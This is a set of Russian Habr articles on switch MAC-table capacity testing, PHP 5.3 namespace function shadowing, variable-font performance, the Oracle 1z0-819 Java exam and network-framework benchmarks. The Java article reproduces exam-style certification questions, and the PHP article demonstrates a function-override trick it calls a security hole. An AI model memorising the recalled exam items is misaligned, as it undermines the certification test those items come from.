> Firmware Version: Build 2.70.B56
>
> Hardware Version: 2A1
>
> MAC Address: 00-17-9A-10-CD-AA
>
> [STACKING 2000-1-1 00:07:51]
Генерируем с превышением 9000 (поддерживается 8192):
> DGS-3426:admin#show fdb vlan TEST
>
> Command: show fdb vlan TEST
>
>
>
> VID VLAN Name MAC Address Port Type
>
> — — — — — 20 TEST 00-01-02-03-00-01 1 Dynamic
>
> 20 TEST 00-01-02-03-00-02 1 Dynamic
>
> 20 TEST 00-01-02-03-00-03 1 Dynamic
>
> 20 TEST 00-01-02-03-00-04 1 Dynamic
>
> 20 TEST 00-01-02-03-00-05 1 Dynamic
>
> 20 TEST 00-01-02-03-00-06 1 Dynamic
>
> 20 TEST 00-01-02-03-00-07 1 Dynamic
>
> 20 TEST 00-01-02-03-00-08 1 Dynamic
>
> 20 TEST 00-01-02-03-00-09 1 Dynamic
>
> 20 TEST 00-01-02-03-00-0A 1 Dynamic
>
> 20 TEST 00-01-02-03-00-0B 1 Dynamic
>
> 20 TEST 00-01-02-03-00-0C 1 Dynamic
>
> 20 TEST 00-01-02-03-00-0D 1 Dynamic
>
>
>
> …
>
>
>
> Total Entries: 8147
>
>
Медленный режим, как и в предыдущем тесте не использовался, поскольку таблица заполнена почти полностью.
Рандомный тест:
> DGS-3426:admin#show fdb vlan TEST
>
> Command: show fdb vlan TEST
>
>
>
> VID VLAN Name MAC Address Port Type
>
> — — — — — 20 TEST 00-00-01-33-82-27 1 Dynamic
>
> 20 TEST 00-00-03-43-5A-66 1 Dynamic
>
> 20 TEST 00-00-03-66-C4-5D 1 Dynamic
>
> 20 TEST 00-00-05-32-86-B1 1 Dynamic
>
> 20 TEST 00-00-07-6D-3A-40 1 Dynamic
>
> 20 TEST 00-00-0A-0F-E0-AE 1 Dynamic
>
> 20 TEST 00-00-22-3A-81-2B 1 Dynamic
>
> 20 TEST 00-00-24-68-E9-70 1 Dynamic
>
> 20 TEST 00-00-35-00-B0-93 1 Dynamic
>
> 20 TEST 00-00-3F-04-BE-95 1 Dynamic
>
> 20 TEST 00-00-43-01-A4-A4 1 Dynamic
>
> 20 TEST 00-00-71-27-41-8A 1 Dynamic
>
> 20 TEST 00-00-92-3C-2A-5A 1 Dynamic
>
> 20 TEST 00-00-92-5B-94-62 1 Dynamic
>
> 20 TEST 00-00-95-26-49-3D 1 Dynamic
>
> 20 TEST 00-00-9F-2E-45-DF 1 Dynamic
>
> 20 TEST 00-00-9F-6D-BE-1E 1 Dynamic
>
> 20 TEST 00-00-A7-75-72-4F 1 Dynamic
>
> 20 TEST 00-00-A9-17-38-DD 1 Dynamic
>
> 20 TEST 00-00-AF-5A-8C-54 1 Dynamic
>
>
>
> …
>
>
>
> Total Entries: 7327
>
>
**Итог**
У этого коммутатора тоже все в порядке. Таблица заполняется как заявлено, на случайных данных показатели незначительно хуже. А в качестве “фишки” таблица маков при просмотре сортируется (возможно потому, что никакого строкового процессора нет, например как у cisco).
#### Metrotek X10-24
Этот коммутатор, точнее его разработка — причина статьи. В нем используется ASIC матрица от японской компании Fujitsu. Изучая документацию, можно сделать вывод, что экономили ресурсы очень серьезно, поэтому и были выполнены независимые тесты.
Информация о платформе:
> x10-00002# show version report
>
> Origin: Metrotek
>
> Label: Metrotek
>
> Codename: oxygen
>
> Version: 1.0.1
>
> Date: Wed, 4 Mar 2015 11:04:37 UTC
>
> Architectures: armel i386
>
> Components: contrib non-free
>
> Description: Metrotek X10-24 Gigabit Ethernet Switch
Генерируем с превышением 17000 (поддерживается 16368):
> root@x10-00002:~# show-mac-table -v 20 | wc -l
>
> 16368
Медленный режим не использовался
Рандомный тест:
> root@x10-00002:~# show-mac-table -v 20 | wc -l
>
> 14429
**Итог**
Для инкрементарных адресов таблица полностью соответствует заявленной, а вот для случайных показатели ухудшаются, хотя и лежат в довольно близком к заявленному диапазоне.
#### Вывод
Если ваша сеть построена таким образом, что домен L2 включает множество устройств, то можно ждать беды. Странным оказалось то, что самый весомый вендор показал худшие результаты. Отсюда мораль — доверяй только собственным глазам и тесту, а не маркетинговым заявлениям с мелким шрифтом в сноске.
Я был так удивлен положением вещей, что решил об этом написать. Если есть возможность провести такой же тест, то прошу опубликовать результаты в комментариях.
Спасибо за внимание. | https://habr.com/ru/post/254183/ | null | ru | null |
# Переопределение функций в PHP 5.3
PHP 5.3 давно уже не новость и написано о нем прилично(да и приелся он как-то после выхода версии 5.4). Тем не менее, хотелось бы поставить акцент на одной его особенности.
Одной из самых ярких фич этой версии является поддержка неймспейсов, что повлекло за собой изменение парадигмы программирования на PHP. Соответственно многие, именитые и не очень, фреймворки начали переписывать свой код на новый лад. Данная статья как раз о том, к чему это все привело.
Небольшой пример\*:
```
\\index.php
namespace Zend\Date {
function is_object($date) {
echo "Zend Date constructor is called with param {$date}";exit;
}
}
namespace Foo {
require_once 'zf2/library/Zend/Loader/AutoloaderFactory.php';
\Zend\Loader\AutoloaderFactory::factory(array('Zend\Loader\StandardAutoloader' => array()));
$date = new \Zend\Date\Date('2012-03-18');
}
```
Что тут происходит? Я переопределил функцию is\_object которая вызывается в самом начале конструктора \Zend\Date\Date. Если изменить определение функции, чтобы значение передавалось по ссылке, то можно изменять не только результат, но и сами параметры, передаваемые в функцию.
Этот код работает потому, что php по умолчанию, ищет функцию в объявленном неймспейсе, и только в случае если ее там нет, переходит к поиску в глобальном пространстве имен. А объявлять неймспейсы с одинаковыми именами мы можем где угодно и сколько угодно раз. Между прочим, с константами та же история.
Данная возможность предоставляет огромные возможности в отладке и тестировании (прощай runkit), но также открывает огромную дыру в безопасности приложения.
Если вы считаете, что данная особенность для вашего кода является проблемой, то избежать ее можно просто добавив бэкслеш(\) к вызову функции (константы). Тогда PHP будет сразу искать определение в глобальном пространстве имен.
В заключение хочу сказать, что на данный момент можно делать такие штуки в Zend, Symfony, Doctrine.
\* — версия интерпретатора 5.4.0RC9-dev
UPD: [FAQ: things you need to know about namespaces](http://www.php.net/manual/en/language.namespaces.faq.php) | https://habr.com/ru/post/140216/ | null | ru | null |
# О позитивном влиянии вариативных шрифтов на производительность веб-проектов
Когда размышляют о веб-шрифтах, и о том, какое влияние они оказывают на производительность сайтов, часто обращают внимание на три следующих показателя:
* Количество запросов на загрузку файлов шрифтов.
* Размеры файлов шрифтов.
* Время до первого рендеринга страницы.
Мне захотелось узнать о том, как на эти показатели влияет применение вариативных шрифтов. Поэтому я сравнила их с обычными шрифтами. Вот что у меня получилось.
[](https://habr.com/ru/company/ruvds/blog/494714/)
Снижение количества запросов на загрузку файлов шрифтов
-------------------------------------------------------
Снизить количество запросов на загрузку шрифтов можно различными способами. Например — это кэширование, использование CDN, уменьшение количества вариантов используемых шрифтов. Я не будут тут говорить об использовании CDN или о кэшировании, так как это, в общем-то, одно и то же, что при работе с обычными шрифтами, что при работе с вариативными шрифтами. Вместо этого я расскажу о сокращении количества вариантов стилей шрифтов.
В мире стандартных шрифтов уменьшение количества используемых вариантов шрифта сокращает количество запросов на загрузку шрифтов. Происходит подобное из-за того, что использование меньшего количества стилей означает потребность в меньшем количестве файлов шрифтов. Обычно для этого нужно планировать выбор шрифтов и искать баланс между дизайном и производительностью, решая, стоит ли более привлекательный и «тяжёлый» дизайн того воздействия, которое он оказывает на производительность.
Использование вариативных шрифтов, из-за того, что они способны хранить в одном файле разные варианты шрифта, означает снижение количества запросов на загрузку файлов шрифтов без необходимости разговоров с дизайнером на предмет сокращения количества используемых в проекте вариантов шрифтов.
Применение вариативных шрифтов приводит к сокращению числа запросов только из-за особенностей устройства файлов таких шрифтов. Но если в файле содержится вся информация о разных вариантах шрифта — уместно задаться вопросом о том, как это влияет на размер файла.
Уменьшение размеров файлов шрифтов
----------------------------------
Уменьшать размеры файлов шрифтов можно разными способами. Обычно первый шаг этого процесса заключается в выборе наиболее эффективного формата для хранения веб-шрифтов. Например — WOFF2.
### ▍Поиск точки отсчёта
Я провела исследование размеров различных файлов шрифтов. В частности, используя шрифт [Source Sans Pro](https://github.com/adobe-fonts/source-sans-pro) от Adobe. Я выбрала именно этот шрифт из-за того, что его код размещён на GitHub, и из-за того, что он является опенсорсным.
*Сравнение размеров OTF-файлов шрифта Source Sans Pro — файла, хранящего шрифт одной насыщенности, и файла, хранящего вариативный шрифт*
В качестве точки отсчёта я приняла файл, описывающий шрифт одной насыщенности стандартной версии Source Sans Pro. Его размер в формате OTF составляет 248 Кб. Размер OTF-файла вариативного шрифта составляет 405 Кб. Это значит, что размер файла вариативного шрифта на 73% больше, чем размер файла, содержащего один вариант стандартного Source Sans Pro.
Но учитывая то, что файл вариативного шрифта содержит все сведения, необходимые для вариантов шрифта с любой насыщенностью, размер набора обычных файлов шрифта, аналогичного по возможностям, составит около 1170 Кб.
А это уже почти в 3 раза больше размеров файла вариативного шрифта.
Даже если вам нужен некий шрифт в обычном и полужирном вариантах насыщенности, два файла, необходимых для хранения этих вариантов шрифта, окажутся больше одного файла вариативного шрифта.
### ▍Сравнение форматов OTF и WOFF2
OTF-файлы, в сравнении со сжатыми форматами WOFF и WOFF2, оказываются достаточно большими.
*Файл с одним вариантом шрифта: OTF — 234 Кб, WOFF2 — 111 Кб. Файл с вариативным шрифтом: OTF — 405 КБ, WOFF2 — 112 Кб.*
Если сравнить размеры файлов разных форматов, то оказывается, что можно сильно сократить размер файлов, просто воспользовавшись форматом WOFF2.
Мне показалось интересным то, насколько большую экономию даёт использование формата WOFF2 при хранении данных вариативного шрифта. То, что размер файла снизился с 405 Кб до 112 Кб, приводит к тому, что файл вариативного шрифта оказывается почти такого же размера, что и файл, хранящий лишь один вариант стандартного Source Sans Pro.
Это оказалось для меня сюрпризом, и я совершенно уверена в том, что подобной экономии удастся достичь далеко не во всех случаях. Но очень приятно видеть то, насколько эффективным может быть WOFF2-сжатие в применении к вариативному шрифту.
### ▍Уменьшение размеров файлов с использованием поднаборов шрифтов
При работе со стандартными шрифтами есть ещё один способ уменьшения размеров файлов. Он заключается в использовании поднаборов шрифтов. Это позволяет избавиться от ненужных символов, или сократить набор символов шрифта, например, оставив лишь те из них, которые нужны для вывода текстов, набранных латиницей.
Создание поднаборов шрифтов сопряжено с некоторыми рисками. Использование поднаборов может привести к тому, что некоторые части текстов будут выводиться с использованием резервного шрифта. Это может случиться в том случае, если из используемого шрифта случайно были удалены нужные символы.
Формировать поднаборы шрифтов можно, пользуясь специальными инструментами — вроде [glyphhanger](https://github.com/filamentgroup/glyphhanger). К этому инструменту, в частности, подготовлено хорошее руководство на GitHub. Он работает и со стандартными, и с вариативными шрифтами.
Я обработала с помощью glyphhanger стандартную и вариативную версии Source Sans Pro и отобрала строчные и прописные символы латинского алфавита, а также — числа и специальные символы вроде восклицательных знаков.
*Использование поднаборов шрифтов для сокращения размеров файлов*
Эта операция позволила уменьшить размер файла, содержащего шрифт одной насыщенности, со 111 Кб до 16 Кб (экономия в 85% — это очень хорошо). В случае с вариативным шрифтом размер файла снизился со 112 Кб до 27 Кб (75% — это приемлемый уровень экономии).
Опять же, меня такие результаты удивили. Я ожидала, что файл вариативного шрифта окажется больше. Учитывая то, что в типичных ситуациях используют один и тот же шрифт обычной и полужирной насыщенности, получается, что файл вариативного шрифта размером 27 Кб оказывается меньше двух файлов, каждый из которых содержит сведения об одном и том же шрифте разной насыщенности. В результате я полагаю, что этот подход позволяет достичь очень хорошей экономии.
Правда, важно отметить то, что здесь описаны лишь мои эксперименты со шрифтом Source Sans Pro. На других шрифтах те же методы могут привести к другим, не таким хорошим результатам. Использование вариативного шрифта может не дать такого же уровня сокращения размеров файла. В результате я рекомендую осторожно подходить к использованию поднаборов шрифтов. А именно, прежде чем применять эту методику оптимизации на практике, стоит всё хорошо протестировать, оценить, и понять, что лучше всего подходит для конкретного проекта.
### ▍Дополнительные соображения, касающиеся размеров файлов
Некоторые дополнительные соображения, которые стоит учитывать при разговоре о размерах файлов шрифтов, заключаются в том, что загрузка одного большого файлов займёт больше времени, чем загрузка нескольких файлов меньшего размера.
Например, при использовании стандартных шрифтов, файлы, хранящие сведения об их разновидности нормальной насыщенности, обычно меньше других. В результате тело документа можно вывести быстро, сразу после загрузки соответствующего небольшого файла. А позже, после загрузки полужирного варианта шрифта, можно применить и его. Плюс такого подхода заключается в том, что он позволяет быстрее, чем с использованием вариативного шрифта, вывести текст на странице. Дело тут в том, что отдельные файлы стандартного шрифта имеют меньшие размеры, чем файл вариативного шрифта.
При использовании вариативного шрифта нужно, перед выводом текста, ждать загрузки единственного большого файла. Это может увеличить время подготовки страницы к работе. Однако необходимость ожидания всех данных шрифта до вывода текста позволяет избежать проблемы, связанной с тем, что постепенно загружаемые шрифты влияют на уже выведенный текст. Кроме того, так как при использовании вариативных шрифтов все разновидности шрифта загружаются за один раз, нам не приходится заставлять браузер перерисовывать страницу каждый раз, когда загружен новый вариант шрифта.
В результате, если говорить о размерах файлов шрифтов, вывод, который можно сделать о применении вариативных шрифтов, зависит от конкретной ситуации. А именно — от особенностей проекта, от требований к дизайну, от используемых шрифтов.
Уменьшение времени до первого рендеринга
----------------------------------------
Теперь давайте поговорим об уменьшении времени до первого рендеринга страницы. Чем меньше это время — тем это лучше для производительности. Это вполне очевидно. Кроме того, тут нужно учитывать то, что, как уже было сказано, единственный большой файл вариативного шрифта может загружаться медленнее нескольких маленьких файлов шрифта обычного. Но даже небольшая задержка при выводе страницы, единственная «вспышка невидимого текста» (Flash of Invisible Text, FOIT) способна привести к тому, что пользователю покажется, будто страница загружается медленнее, чем это происходит на самом деле. В результате я полагаю, что вместо того, чтобы подвергать страницу риску FOIT, нам надо стараться ограничить эту проблему тем, что называется «вспышкой нестилизованного текста» (Flash of Unstyled Text, FOUT).
### ▍FOIT
Вот как выглядит FOIT.
*Пример визуального проявления FOIT*
«Вспышка невидимого текста» происходит тогда, когда мы блокируем или задерживаем вывод текста до того момента, пока не будет загружен нужный шрифт. В результате до загрузки шрифта страница будет выглядеть пустой.
### ▍FOUT
А вот — пример FOUT.
*Пример визуального проявления FOUT*
«Вспышка нестилизованного текста» происходит в том случае, если сначала текст выводится с использованием резервного шрифта, а потом, когда нужный шрифт оказывается доступным, происходит переключение на него или замена им ранее использованного шрифта.
Я полагаю, что лучше, если пользователь столкнётся с FOUT, а не с невозможностью чтения содержимого страницы. Поэтому лучше всего, если мы, с одной стороны, предусмотрим вариант развития событий с появлением перед пользователем FOUT, а с другой — постараемся, чтобы это оказало бы как можно меньшее влияние на удобство работы с проектом.
Легче всего реализовать в проекте механизм FOUT, воспользовавшись свойством `font-display` со значением `swap`. Это позволит вывести текст с использованием резервного шрифта, описанного в наборе шрифтов. Затем, после загрузки нужного шрифта, он заменит резервный шрифт. Свойство `font-display` может принимать и другие значения, и я рекомендую вам их исследовать, но для реализации FOUT-поведения текстов значение `swap` — это хорошая отправная точка.
```
font-display: swap;
```
Одна из проблем, возникающих с FOUT, заключается в том, что при замене шрифта часто можно видеть перекомпоновку текста на странице, выполняемую для приспособления содержимого к шрифту, параметры которого «измеряются» не так, как параметры ранее использованного шрифта.
Работая со стандартными шрифтами, мы можем модифицировать такие свойства, как `line-height`, `font-size` и `letter-spacing`, сделав это для того, чтобы приспособить текст к замене шрифта и уменьшить сдвиги содержимого, происходящие в ходе этого процесса. Сделать это можно с помощью фантастического инструмента [Font Style Matcher](https://meowni.ca/font-style-matcher/). Его создала [Моника Динкулеску](https://twitter.com/notwaldorf), которую вдохновила [эта](https://helenvholmes.com/writing/type-is-your-right/) отличная статья Хелен Холмс (серьёзно — статья замечательная — рекомендую её почитать).
Я надеюсь, что со временем вариативные шрифты будут пользоваться более широкой поддержкой операционных систем. Это позволит ослабить изменение макетов благодаря использованию системного вариативного шрифта в качестве резервного.
*Резервный вариативный шрифт*
Представьте себе, что было бы, если бы у нас был системный шрифт, поддерживающий возможности по управлению его насыщенностью, шириной, оптическим размером. Это позволило бы модифицировать свойства такого шрифта для подгонки его под характеристики используемых нами особых шрифтов. Если скомбинировать подобное с существующими методиками настройки таких свойств, как `line-height` или `font-size`, это даст нам возможность создавать почти незаметные переходы между двумя шрифтами. А это значит, что пользователи будут меньше сталкиваться с заметными проявлениями FOUT, и то, что браузерам, за счёт меньших изменений макетов при смене шрифта, придётся выполнять меньше работы по перерисовыванию страниц.
Это было бы просто замечательно, и я надеюсь, что так оно и будет.
Итоги
-----
Применение вариативных шрифтов позволяет сократить общий размер загружаемых браузером шрифтовых данных. То, что на странице используется, вместо обычного, вариативный шрифт, автоматически означает то, что для подготовки страницы к выводу придётся выполнять меньше запросов.
Даже если размеры файлов вариативных шрифтов могут показаться вам достаточно большими — обратите внимание на то, что, используя такие шрифты, можно применять и другие техники оптимизации. А именно, речь идёт о продвинутых шрифтовых форматах вроде WOFF2, о формировании поднаборов шрифтов, об использовании свойства `font-display: swap`. Всё это говорит о том, что, используя вариативные шрифты, мы можем получить и сокращение объёмов шрифтовых данных, и значительное увеличение возможностей по стилизации страниц.
Если мы можем справиться с некоторыми существующими проблемами в области производительности, это позволит нам обращать больше внимания на дизайн. То есть — не придётся больше искать компромиссы между дизайном и производительностью страниц.
В сфере использования вариативных шрифтов у нас есть возможность разобраться с тем, как эта технология способна помочь в создании у пользователей более позитивных ощущений от работы с нашими проектами. Благодаря тому, что применение вариативного шрифта означает возможность использования множества вариантов шрифта, мы можем создавать проекты, которые способны гибко подстраиваться под особенности устройств, которыми пользуются для работы с ними. Это позволяет создавать доступный и удобочитаемый текст, не беспокоясь о том, что дополнительные файлы обычных шрифтов плохо повлияют на размер данных, необходимых для обеспечения работоспособности страниц.
**Уважаемые читатели!** Пользуетесь ли вы вариативными шрифтами в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/494714/ | null | ru | null |
# Экзамен 1z0-819 Oracle Certified Professional: Java 11 Developer — заметки о сдаче
В начале октября Oracle упростил получение сертификации по Java — вместо двух экзаменов теперь нужно сдать один, при том что цена за экзамен не изменилась. Кому интересен уровень задач и больше подробностей про экзамен прошу под кат — опишу почему решил сдать, как готовился, какие вопросы были и собственно какие выводы сделал.
В октябре я увидел новость о том, что Oracle запускает новый экзамен 1z0-819 вместо прежних 1z0-815 и 1z0-816. Раньше для того, чтобы стать Oracle Certified Professional нужно было сдать два экзамена и потратить в общей сложности 300$. Теперь сумма сократилась вдвое. Кроме этого изменилось и количество вопросов, если раньше в каждом экзамене было по 80 вопросов и на это было отведено 150 минут, то теперь экзамен длится 90 минут и в нем 50 вопросов, покрывающие все темы из прошлых экзаменов. Большая часть вопросов может иметь несколько верных ответов.
Начнем с того какие цели я преследовал: так как у меня физическое образование и java я изучал сам, то, на мой взгляд, данная сертификация могла бы помочь структурировать свои знания по java, а также иметь некий документ, подтверждающий, что в программирование я могу.
Как зарегистрироваться? Регистрируетесь у партнера Oracle pearsonvue.com, привязываете учетку оракла, выбираете, как сдавать — в центре или из дома. В случае если выбран вариант из дома, то за вами через камеру и микрофон в течении всего экзамена будут следить, в помещении не должно быть никого, вы ни с кем не можете разговаривать и смотреть только на экран, интернет должен быть стабильным, без разрывов, иначе результат аннулируют. Я выбрал сдачу в специализированном центре, так спокойнее.
Какие материалы могут помочь при подготовке? Если у вас есть хоть какой-то опыт программирования, то рекомендую использовать книгу [OCP Oracle Certified Professional Java SE 11 Programmer II Study Guide: Exam 1Z0-816 and Exam 1Z0-817 от Scott Selikoff, Jeanne Boyarsky](https://www.wiley.com/en-us/OCP+Oracle+Certified+Professional+Java+SE+11+Programmer+II+Study+Guide%3A+Exam+1Z0+816+and+Exam+1Z0+817-p-9781119617624) Эта книга написана для экзамена 1z0-816 и она покрывает большую часть того, что будет на экзамене. У этих авторов есть также книга для подготовки к первой части прошлого экзамена 1z0-815, но она рассчитана на абсолютных новичков и читать ее откровенно скучно. Кроме этого в сети можно найти моки экзаменов, чтобы проверить усвоенные знания после прочтения книги.
Какие вопросы? Всего 50 вопросов, на которые дается 90 минут, то есть менее 2х минут на вопрос. Есть сложные, то есть иногда надо подумать и более 2х минут. В некоторых вопросах возможны несколько правильных ответов. Всего вариантов ответа может быть до 7 штук. Надо ответить правильно на 68% вопросов.
На что я бы хотел обратить внимание. Очень много вопросов на стримы, лямбды и функциональные интерфейсы.
Могут попасться такого рода задачи:
Нужно найти в какой строчке ошибка, если она вообще есть:
```
IntStream is = IntStream.of(1, 3, 5);
int x = is.filter(i->i%2 == 0).average(); //1
System.out.println(x);
int y = is.filter( i->i%2 != 0 ).sum();//2
System.out.println(y);
is = IntStream.of(1, 3, 5, 9);
int z = is.filter( i->i%3 != 0 ).count();//3
System.out.println(z);
```
Так же задачи с использованием коллекторов. Что будет выведено на экран:
```
class Student {
public static enum Grade {A, B, C, D, F}
private String name;
private Grade grade;
public Student(String name, Grade grade) {
this.name = name;
this.grade = grade;
}
public String toString() {
return name + ":" + grade;
}
}
class TestClass {
public static void main(String[] args) {
var ls = Arrays.asList(new Student("S1", Student.Grade.A),
new Student("S2", Student.Grade.A),
new Student("S3", Student.Grade.B),
new Student("S4", Student.Grade.C),
new Student("S5", Student.Grade.F));
var group = ls.stream()
.filter(student -> student.getGrade() != Student.Grade.F)
.collect(Collectors.groupingBy(Student::getGrade,
Collectors.mapping(Student::getName, Collectors.toList())));
System.out.println(group);
}
}
```
Собственно, эти вопросы переплетаются с вопросами про коллекции. Например, нужно ответить, что выведет на экран следующий код, если он вообще скомпилируется:
```
var collection = new HashSet<>();
collection.add(1);
var list1 = List.of(collection);
collection.add(2);
var list2 = List.copyOf(collection);
System.out.println(list1);
System.out.println(list2);
```
И как изменится результат, если вместо первой строчки мы напишем
```
var collection = Arrays.asList(1,2,3);
```
**var** может использоваться специально, чтобы запутать экзаменующегося:
```
class X {
public void print(List lst) {
System.out.println("X list " + lst);
}
}
class Y extends X {
public void print(List lst) {
System.out.println("Y list " + lst);
}
}
public class TestClass {
public static void main(String[] args) {
X x = new Y();
Y y = new Y();
var list = new ArrayList<>();
list.add(1);
x.print(list);
y.print(list);
}
}
```
Нужно указать, что будет выведено на экран, либо указать, что программа не скомпилируется, либо будет выброшено исключение во время работы.
Надо понимать, что происходит при наследовании.
Допустим дан метод в классе со следующей сигнатурой:
```
public List getCollection() {
return new ArrayList();
}
```
Какие методы ниже могут быть в классе наследнике?
```
public List super Integer getCollection() {
return new ArrayList();
}
public List extends Integer getCollection() {
return new ArrayList();
}
public ArrayList getCollection() {
return new ArrayList();
}
```
Есть парочка вопросов на интерфейсы подобного типа:
```
interface Bird {
default String fly() {
return "fly";
}
}
interface Parrot extends Bird {
public String fly();
}
public class RainbowParrot implements Parrot {
public static void main(String[] args) {
Bird b = new RainbowParrot();
System.out.println(b.fly());
}
}
```
Как отработает программа в данном случае?
На эти темы приходится основная масса вопросов, наверное, более 25. Темы многопоточности, работы с файлами, аннотации, модули представлены всего двумя-тремя вопросами каждая. Остальные темы вроде работы с jdbc, локализацией и т.д. в основном по одному вопросу.
Полный список тем, которые могут быть на экзамене можно посмотреть [тут](https://education.oracle.com/java-se-11-developer/pexam_1Z0-819).
Отдельно хочу упомянуть, так как для меня это стало открытием — мне попалось целых два вопроса на использование API doPrivileged, раньше вообще никогда не сталкивался с этим по работе. Так что отдельно эту тему стоит проработать, посмотреть можно [тут](https://docs.oracle.com/javase/7/docs/technotes/guides/security/doprivileged.html).
Еще раз хочу обратить внимание на то что время серьезно ограничено, несмотря на то, что я пропустил два вопроса на тему doPrivileged, я еле уложился в отведенное время.
В приложении для сдачи можно отметить галочкой те вопросы, которые показались вам сложными и вернуться к ним в конце. Рекомендую смотреть на таймер, если вопрос занимает у вас более двух минут, пропускать его и, если позволит время, вернуться к нему позже.
Сколько готовиться?
Если вы не преподаватель курсов для java-разработчиков и ходите на работу, то я бы рекомендовал заложить месяц на подготовку — выделяя на это часик-другой после работы. Но конечно же все зависит от вашего уровня.
Какие выводы можно сделать?
Подготовка к экзамену помогает структурировать знания и расширяет кругозор в области API. В частности, я открыл для себя пару интересных моментов работы с файлами.
Сертификация может пригодиться для тех, кто работает на удаленке с зарубежными заказчиками — подтвердить свой уровень, а также будет плюсом на собеседованиях, как минимум позволит пропустить вопросы про java. | https://habr.com/ru/post/527284/ | null | ru | null |
# Немного тестов производительности сетевых фреймворков
Привет Хабр! Пару месяцев назад я захотел провести тестирование производительности некоторых сетевых фреймворков, c целью понять насколько большая разбежка между ними. Надо ли использовать Node.js там, где хотелось бы Python с Gevent или нужен Ruby с его EventMachine.
[](http://habrahabr.ru/post/228455/)
Я хочу обратить ваше внимание на то, что эти материалы не являются руководством к выбору фреймворка и могут содержать спорные моменты. Я вообще не собирался публиковать результаты этого исследования, но когда они попадались мне на глаза я ловил себя на мысли, что это может быть кому-нибудь полезно. Теперь я начну забрасывать вас графиками.
#### 1. Text / Httperf / VPS 1 CPU, 512Mb RAM
Первый тест я провёл на самом дешёвом VPS DigitalOcean (1 Core, 512Mb RAM, 20Gb SSD). Для тестирование производительности использовалась утилита [httperf](http://www.hpl.hp.com/research/linux/httperf/). Что бы произвести необходимую нагрузку были задействованы VPS такой же конфигурации, в количестве 5 штук. Для одновременного запуска теста на всех клиентах я использовал утилиту [autobench](http://www.xenoclast.org/autobench/) со следующими параметрами:
`autobench_admin --single_host --host1 example.com --port1 8080 --uri1 / --low_rate 50 --high_rate 600 --rate_step 10 --num_call 10 --num_conn 6000 --timeout 5 --clients XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600 --file bench.tsv`
Это тест начинает выполнение с 50 соединений в секунду (10 запросов через одно соединение) и с шагом в 10 соединений в секунду достигает 600. Каждый тест устанавливает всего 6000 соединений и все запросы, которые не были обработаны в течение 5 секунд, считаются ошибкой.
Все HTTP серверы делают одно и то же, а именно возвращают строку «I am a stupid HTTP server!» на каждый запрос. Результаты получились следующими (**по оси Х – количество запросов в секунду**):
##### Нагрузка на процессор
[](https://habrastorage.org/getpro/habr/post_images/728/e61/f60/728e61f601ac2378d78d37debfaeb098.png)
##### Потребление оперативной памяти (в % от 512Mb)
[](https://habrastorage.org/getpro/habr/post_images/035/b5b/792/035b5b7921c4af2e46af23cea5c834de.png)
##### Количество ответов
[](https://habrastorage.org/getpro/habr/post_images/7fb/948/c0c/7fb948c0c586749b21be6ba77c753b5b.png)
##### Время ответа (в миллисекундах)
[](https://habrastorage.org/getpro/habr/post_images/11b/180/3fe/11b1803fe79a633eaa5f8036b66afb5c.png)
##### Количество ошибок
[](https://habrastorage.org/getpro/habr/post_images/711/f71/240/711f71240309979c754a8d40fb009912.png)
Как только мы достигаем 100% использования CPU, потребление оперативной памяти начинает расти, количество ответов падает, время ответа на каждый запрос растёт и начинают появляться ошибки. Как я писал выше, каждый запрос, который не получил ответ в течение 5 секунд, считается ошибкой и здесь именно это и происходит, это можно проследить на графике «Время ответа».
**Результаты** (в скобках количество обработанных запросов без ошибок):
1. Gevent (*4700*)
2. Express.js (*3600*)
3. Eventlet (*3200*)
4. Tornado (*2200*)
Я никогда не бываю доволен своей работой полностью, поэтому уже через пару часов я решил, что тестировать производительность на VPS не самый лучший выбор. Между фреймворками разница в производительности понятна и какие-то выводы сделать можно, но узнать сколько клиентов мы в состоянии обслужить на одном ядре настоящего процессора мы не можем. Одно дело делить с кем-то неизвестные ресурсы и совсем другое когда все ресурсы известны и в нашем распоряжении.
#### 2. Text / Httperf / Intel Core i7-4770 Quad-Core Haswell, 32 GB DDR3 RAM
Для следующего теста я арендовал выделенный сервер у Hetzner (EX40) с процессором «Intel Core i7-4770 Quad-Core Haswell» и 32 GB DDR3 RAM.
На этот раз я создал 10 VPS, которые будут создавать необходимую нагрузку и запустил autobench со следующими параметрами:
`autobench_admin --single_host --host1 example.com --port1 8080 --uri1 / --low_rate 50 --high_rate 1500 --rate_step 50 --num_call 10 --num_conn 15000 --timeout 5 --clients XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600,XX.XX.XX.XX:4600 ... --file bench.tsv`
Это тест начинает выполнение с 50 соединений в секунду (10 запросов через одно соединение) и с шагом в 50 соединений в секунду достигает 1500. Каждый тест устанавливает всего 15000 соединений и все запросы, которые не были обработаны в течение 5 секунд, считаются ошибкой.
Исходный код серверов тот же, что и в первом тесте. Запущена одна копия сервера, которая использует только 1 ядро. В этот тест я добавил фреймворки **Twisted** 13.2 и **Eventmachine** 1.0.3. Потребление памяти я удалил из результатов теста потому что разница, по современным меркам, ничтожна. Не буду тянуть кота за хвост, вот результаты:
##### Нагрузка на процессор
[](https://habrastorage.org/getpro/habr/post_images/e87/ea9/05d/e87ea905d60aba281f4ea8e15df11b67.png)
##### Количество ответов
[](https://habrastorage.org/getpro/habr/post_images/797/2f5/873/7972f587366a73aa29474bd828d61ca4.png)
##### Время ответа (в миллисекундах)
[](https://habrastorage.org/getpro/habr/post_images/c5a/d2f/18f/c5ad2f18fe9d984e5f210a01910e8329.png)
##### Количество ошибок
[](https://habrastorage.org/getpro/habr/post_images/4a7/60c/649/4a760c6498c9950604c52e66e69bf809.png)
Тут, как и прежде, упёрлись в CPU, чего и следовало ожидать. В среднем, производительность здесь выше в 3 раза, чем на VPS DigitalOcean (1 Core, 512Mb), из чего можно сделать соответствующие выводы о количестве выделенных нам ресурсов.
**Результаты** (в скобках количество обработанных запросов без ошибок):
1. Eventmachine (*подробности ниже*)
2. Gevent (*12500*)
3. Express.js (*11500*)
4. Eventlet (*9000*)
5. Twisted (*7000*)
6. Tornado (*6500*)
#### Eventmachine
Eventmachine меня удивил своей производительностью и ушёл далеко от конкурентов, из-за чего мне пришлось увеличить нагрузку до 25000 запросов в секунду специально для него. Результат на графиках:
##### Нагрузка на процессор
